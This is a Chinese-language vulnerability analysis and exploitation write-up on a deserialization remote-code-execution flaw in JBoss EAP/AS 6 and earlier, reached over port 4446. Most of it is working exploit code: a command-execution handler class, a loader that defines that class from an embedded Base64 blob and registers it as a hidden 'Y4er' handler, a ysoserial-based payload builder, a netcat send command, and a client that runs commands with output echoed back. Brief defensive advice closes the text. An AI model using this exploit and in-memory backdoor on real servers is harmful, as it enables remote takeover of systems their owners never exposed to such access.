JBoss EAP/AS <= 6.* RCE及rpc回显
字数 1711 2025-08-29 08:32:30

JBoss EAP/AS <= 6.* RCE及rpc回显漏洞分析与利用

漏洞概述

本漏洞涉及JBoss EAP/AS 6.*及以下版本中的两个安全问题:

  1. 通过4446端口的反序列化远程代码执行(RCE)漏洞
  2. 通过RPC调用实现命令执行及回显的技术

漏洞背景

该漏洞最初在Alligator Conference 2019会议上披露,相关PPT可在https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf获取。

受影响端口

JBoss默认开放的端口及其功能:

端口 状态 目的
1098 启用 RMI 命名服务
3528 已禁用 IANA 分配的 IIOP 端口
4444 启用 RMI JRMP 调用程序
4445 启用 RMI 池调用程序
4446 启用 远程服务器连接器
4447 启用 远程服务器连接器
4457 启用 远程服务器连接器
4712 启用 JBossTS 恢复管理器
4713 启用 JBossTS 事务状态管理器
4714 启用 JBossTS 的进程 ID
8080 启用 HTTP 连接器
8083 启用 RMI 类加载迷你 Web 服务器
8443 启用 JBossWS HTTPS 连接器套接字

反序列化RCE漏洞分析

漏洞位置

漏洞主要存在于4446端口,这是一个Remoting3端口。4446和3873端口均可利用。

漏洞原理

  1. 客户端首先发送0xaced0005(Java序列化魔术字)
  2. 服务端回复0xaced0005
  3. 客户端发送0x77011679...等数据
    • 0x77表示TC_BLOCKDATA
    • 0x01表示SC_WRITE_METHOD
    • 0x16表示协议版本22
    • 0x79表示TC_RESET
  4. 后续数据为实际的payload

调试分析

关键调用栈:

  1. org.jboss.remoting.transport.socket.ServerThread#processInvocation处理0x16,读取协议版本为22
  2. org.jboss.remoting.transport.socket.ServerThread#versionedRead调用this.unmarshaller.read()
  3. org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject执行原生反序列化

完整调用栈:

exec:348, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2319, ObjectInputStream (java.io)
readOrdinaryObject:2210, ObjectInputStream (java.io)
readObject0:1690, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
receiveObjectVersion2_2:238, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
receiveObject:138, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
read:123, SerializableUnMarshaller (org.jboss.remoting.marshal.serializable)
versionedRead:900, ServerThread (org.jboss.remoting.transport.socket)
completeInvocation:754, ServerThread (org.jboss.remoting.transport.socket)
processInvocation:744, ServerThread (org.jboss.remoting.transport.socket)
dorun:548, ServerThread (org.jboss.remoting.transport.socket)
run:234, ServerThread (org.jboss.remoting.transport.socket)

RPC调用与回显技术

实现原理

  1. 创建一个类继承ServerInvocationHandler接口
  2. 通过classloader将类定义到JVM中
  3. 客户端查询并调用该handler

实现步骤

  1. 创建JbossInvocationHandler类执行命令:
package ysoserial.payloads.templates;

import org.jboss.remoting.InvocationRequest;
import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.ServerInvoker;
import org.jboss.remoting.callback.InvokerCallbackHandler;

import javax.management.MBeanServer;

public class JbossInvocationHandler implements ServerInvocationHandler, Runnable {
    @Override public void run() {}
    @Override public void setMBeanServer(MBeanServer mBeanServer) {}
    @Override public void setInvoker(ServerInvoker serverInvoker) {}
    
    @Override
    public Object invoke(InvocationRequest invocationRequest) throws Throwable {
        String cmd = (String) invocationRequest.getParameter();
        System.out.println("接收到命令:" + cmd);
        String[] cmds = new String[]{"cmd", "/c", cmd};
        if (!System.getProperty("os.name").toLowerCase().contains("win")) {
            cmds = new String[]{"bash", "-c", cmd};
        }
        java.util.Scanner s = new java.util.Scanner(
            Runtime.getRuntime().exec(cmds).getInputStream(), "gbk").useDelimiter("\\A");
        return s.hasNext() ? s.next() : "no result";
    }
    
    @Override public void addListener(InvokerCallbackHandler invokerCallbackHandler) {}
    @Override public void removeListener(InvokerCallbackHandler invokerCallbackHandler) {}
}
  1. 使用Base64编码并通过classloader加载:
package ysoserial.payloads.templates;

import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.transport.socket.ServerThread;
import org.jboss.remoting.transport.socket.SocketServerInvoker;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    static {
        try {
            byte[] bytes = base64Decode("yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9tYW5hZ2VtZW50L01CZWFuU2VydmVyOwEACnNldEludm9rZXIBACUoTG9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZva2VyOylWAQANc2VydmVySW52b2tlcgEAIkxvcmcvamJvc3MvcmVtb3RpbmcvU2VydmVySW52b2tlcjsBAAZpbnZva2UBADooTG9yZy9qYm9zcy9yZW1vdGluZy9JbnZvY2F0aW9uUmVxdWVzdDspTGphdmEvbGFuZy9PYmplY3Q7AQARaW52b2NhdGlvblJlcXVlc3QBACZMb3JnL2pib3NzL3JlbW90aW5nL0ludm9jYXRpb25SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA1TdGFja01hcFRhYmxlBwBNBwA6BwBeAQAKRXhjZXB0aW9ucwcAbwEAC2FkZExpc3RlbmVyAQA3KExvcmcvamJvc3MvcmVtb3RpbmcvY2FsbGJhY2svSW52b2tlckNhbGxiYWNrSGFuZGxlcjspVgEAFmludm9rZXJDYWxsYmFja0hhbmRsZXIBADRMb3JnL2pib3NzL3JlbW90aW5nL2NhbGxiYWNrL0ludm9rZXJDYWxsYmFja0hhbmRsZXI7AQAOcmVtb3ZlTGlzdGVuZXIBAApTb3VyY2VGaWxlAQAbSmJvc3NJbnZvY2F0aW9uSGFuZGxlci5qYXZhDAAjACQHAHAMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAS5o6l5pS25Yiw5ZG95Luk77yaDAB2AHcMAHgAeQcAegwAewB8AQACL2MBAAdvcy5uYW1lDAB9AH4MAH8AeQEAA3dpbgwAgACBAQAEYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAIIMAIMAhAwAhQCGBwCHDACIAIkBAANnYmsMACMAigEAAlxBDACLAIwMAI0AjgwAjwB5AQAJbm8gcmVzdWx0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9KYm9zc0ludm9jYXRpb25IYW5kbGVyAQAQamF2YS9sYW5nL09iamVjdAEAKm9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZvY2F0aW9uSGFuZGxlcgEAEmphdmEvbGFuZy9SdW5uYWJsZQEAE2phdmEvbGFuZy9UaHJvd2FibGUBACRvcmcvamJvc3MvcmVtb3RpbmcvSW52b2NhdGlvblJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABVttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgAAgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==");
            ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
            Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
            Object instance = invoke.newInstance();

            ServerThread serverThread = (ServerThread) Thread.currentThread();
            Field invoker = serverThread.getClass().getDeclaredField("invoker");
            invoker.setAccessible(true);
            SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);
            invokeObj.addInvocationHandler("Y4er", (ServerInvocationHandler) instance);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
}
  1. 使用CommonsBeanutils183生成payload:
package ysoserial;

import com.google.common.io.Files;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang.ArrayUtils;
import ysoserial.payloads.CommonsBeanutils183NOCC;
import ysoserial.payloads.templates.JbossInvocationHandler;

import java.io.File;
import java.util.Arrays;

public class JbossRemoting {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(JbossInvocationHandler.class.getName());
        String s = Base64.encodeBase64String(ctClass.toBytecode());
        System.out.println(s);

        Object calc = new CommonsBeanutils183NOCC().getObject("CLASS:Loader");
        byte[] serialize = Serializer.serialize(calc);

        byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
        byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
        byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
        System.out.println(aced.length + range.length == serialize.length);
        byte[] bytes = ArrayUtils.addAll(aced, bs);
        bytes = ArrayUtils.addAll(bytes, range);
        Files.write(bytes, new File("E:\\tools\\code\\ysoserial\\target\\payload.ser"));
    }
}
  1. 发送payload:
cat payload.ser | nc 127.0.0.1 4446 | hexdump -C
  1. 创建客户端执行命令:
package org.jboss.remoting.samples.myclient;

import org.jboss.remoting.Client;
import org.jboss.remoting.InvokerLocator;

public class MyClient {
    public static void main(String[] args) throws Throwable {
        InvokerLocator locator = new InvokerLocator("socket://127.0.0.1:4446/");
        Client client = new Client(locator);
        client.setSubsystem("Y4er");
        client.connect();
        Object as = client.invoke("dir");
        System.out.println(as);
        client.disconnect();
    }
}

JNDI注入

org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal中存在JNDI注入点,但文中未详细展开。

防御建议

  1. 升级JBoss到最新版本
  2. 关闭不必要的端口,特别是4446端口
  3. 实施网络访问控制,限制对JBoss管理端口的访问
  4. 监控异常的网络活动,特别是对4446端口的异常请求

思考与扩展

  1. JBoss的RPC有多种传输方式,内置了几种反序列化方式,其他协议可能也存在类似问题
  2. JBoss的remoting支持多种调用方式(RMI、socket、http等),除了handler外可能有其他回显方式
JBoss EAP/AS <= 6.* RCE及rpc回显漏洞分析与利用 漏洞概述 本漏洞涉及JBoss EAP/AS 6.* 及以下版本中的两个安全问题: 通过4446端口的反序列化远程代码执行(RCE)漏洞 通过RPC调用实现命令执行及回显的技术 漏洞背景 该漏洞最初在Alligator Conference 2019会议上披露,相关PPT可在 https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_ slides.pdf 获取。 受影响端口 JBoss默认开放的端口及其功能: | 端口 | 状态 | 目的 | |------|------|------| | 1098 | 启用 | RMI 命名服务 | | 3528 | 已禁用 | IANA 分配的 IIOP 端口 | | 4444 | 启用 | RMI JRMP 调用程序 | | 4445 | 启用 | RMI 池调用程序 | | 4446 | 启用 | 远程服务器连接器 | | 4447 | 启用 | 远程服务器连接器 | | 4457 | 启用 | 远程服务器连接器 | | 4712 | 启用 | JBossTS 恢复管理器 | | 4713 | 启用 | JBossTS 事务状态管理器 | | 4714 | 启用 | JBossTS 的进程 ID | | 8080 | 启用 | HTTP 连接器 | | 8083 | 启用 | RMI 类加载迷你 Web 服务器 | | 8443 | 启用 | JBossWS HTTPS 连接器套接字 | 反序列化RCE漏洞分析 漏洞位置 漏洞主要存在于4446端口,这是一个Remoting3端口。4446和3873端口均可利用。 漏洞原理 客户端首先发送 0xaced0005 (Java序列化魔术字) 服务端回复 0xaced0005 客户端发送 0x77011679... 等数据 0x77 表示 TC_BLOCKDATA 0x01 表示 SC_WRITE_METHOD 0x16 表示协议版本22 0x79 表示 TC_RESET 后续数据为实际的payload 调试分析 关键调用栈: org.jboss.remoting.transport.socket.ServerThread#processInvocation 处理 0x16 ,读取协议版本为22 org.jboss.remoting.transport.socket.ServerThread#versionedRead 调用 this.unmarshaller.read() org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject 执行原生反序列化 完整调用栈: RPC调用与回显技术 实现原理 创建一个类继承 ServerInvocationHandler 接口 通过classloader将类定义到JVM中 客户端查询并调用该handler 实现步骤 创建 JbossInvocationHandler 类执行命令: 使用Base64编码并通过classloader加载: 使用CommonsBeanutils183生成payload: 发送payload: 创建客户端执行命令: JNDI注入 在 org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal 中存在JNDI注入点,但文中未详细展开。 防御建议 升级JBoss到最新版本 关闭不必要的端口,特别是4446端口 实施网络访问控制,限制对JBoss管理端口的访问 监控异常的网络活动,特别是对4446端口的异常请求 思考与扩展 JBoss的RPC有多种传输方式,内置了几种反序列化方式,其他协议可能也存在类似问题 JBoss的remoting支持多种调用方式(RMI、socket、http等),除了handler外可能有其他回显方式